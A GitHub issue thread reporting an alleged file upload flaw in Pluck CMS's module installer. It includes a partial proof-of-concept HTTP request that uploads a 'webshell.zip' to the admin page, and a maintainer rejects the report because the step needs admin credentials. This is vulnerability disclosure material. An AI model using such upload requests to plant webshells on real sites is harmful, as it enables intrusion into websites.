Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A file upload vulnerability #70

Closed
China-Eugene opened this issue Feb 18, 2019 · 4 comments
Closed

A file upload vulnerability #70

China-Eugene opened this issue Feb 18, 2019 · 4 comments

Comments

@China-Eugene
Copy link

Vulnerability details:
In the management module page, the installation module uploads a compressed webshell, which can be directly uploaded and decompressed, causing the entire website to crash.
Vulnerability url:
http://127.0.0.1/pluck/admin.php?action=installmodule
Vulnerability POC:
POST /pluck/admin.php?action=installmodule HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/pluck/admin.php?action=installmodule
Content-Type: multipart/form-data; boundary=---------------------------26299170359894
Content-Length: 56087
Connection: close
Cookie: envlpass=21232f297a57a5a743894a0e4a801fc3; _ga=GA1.1.1523573753.1550292454; PHPSESSID=vr8t3uqdsh6gu011nijv1jjjco
Upgrade-Insecure-Requests: 1

-----------------------------26299170359894
Content-Disposition: form-data; name="sendfile"; filename="webshell.zip"
Content-Type: application/x-zip-compressed

@China-Eugene
Copy link
Author

Repair suggestions:
File MIME verification

@BSteelooper
Copy link
Contributor

How would this be a attack vector?

Why would a site admin upload a module which he doesn’t know or trust?

@BSteelooper
Copy link
Contributor

File MIME will not fix this. I can construct a valid module which will create a webshell or do worse things.
This is not something we can fix

@BSteelooper
Copy link
Contributor

This is an invalid report. With the password the complete website can be taken over. Without the password this is not exploitable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants